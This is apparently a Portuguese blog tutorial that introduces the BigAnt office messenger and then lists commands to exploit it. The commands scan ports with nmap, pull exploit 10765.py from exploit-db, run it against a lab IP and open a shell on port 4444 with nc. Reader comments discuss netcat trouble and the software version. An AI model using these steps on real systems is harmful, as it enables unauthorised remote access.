Explorando falha no BigAnt

Posted: 21 maio 2011 by Bhior in Marcadores: , , ,
4


O BigAnt é um software voltado para o uso em empresas, pois ele basicamente é um mensageiro instantâneo no qual o administrador da rede cria um servidor, cria todas as contas que poderão acessá-lo, definindo suas permissões de acesso e senhas, e integra a comunicação dos seus funcionários, não importando o tamanho da sua empresa. Além disso, todas as mensagens trocadas são criptografadas, ou seja, não haverá perigo de alguém roubar informações confidenciais através de uma conversa entre gerentes, por exemplo.

Ao baixar o BigAnt existirão dois arquivos, um é o mensageiro em si e o outro é o console, ou seja, o servidor pelo qual o administrador controlará o andamento das coisas. Instale ambos. A primeira coisa a ser feita é rodar o console e criar um servidor, grupos e usuários. Ao executar o console clique em “demo” para assistir a um vídeo demonstrando o funcionamento básico dele.

Usuários

Depois repasse o IP e nome de usuário e senha para aqueles que venham a utilizar o seu servidor. Por fim, basta inserir esses dados no “messenger” e usá-lo como se fosse o Windows Live Messenger, pois ambos funcionam de maneira muito similar.

Agora que sabemos... vamos a arte da exploração. :)

Ferramentas usadas: 

Comandos:
nmap -p 1-9999 192.168.1.102
cd /pentest/exploits/exploit-db
./searchsploit bigant
cp platforms/windows/remote/10765.py /root/
cd /root/
python 10765.py 192.168.1.102
nc 192.168.1.102 4444

Sobre a aula:
Tamanho: 34 Mb
Formato: AVI
Duração: 3:14
Musica: The Marcels - Blue Moon


4 comentários:

  1. Anônimo says:

    hi bhior!good post!have you changed your bt5-version of netcat?i've problems wiyh this!thanks

  1. Bhior says:

    Nothing has changed! and what your problem as nc?

  1. Anônimo says:

    Óla bhior desde já agradeço pelo pelissimo trabalho que vem desempenhando no seu blog, gostaria que me tirasse uma duvida fiz toda a exploração mas na hora de conectar com NC ele não foii... ele fica tipo escutando na porta 4444 em vez de conecar.... serar que é a verão do BIGANT qual versão vc estar usando no video.....obrigado por responder!!!!!!!!!!

  1. Bhior says:

    Mostra no próprio vídeo, a versão 2.52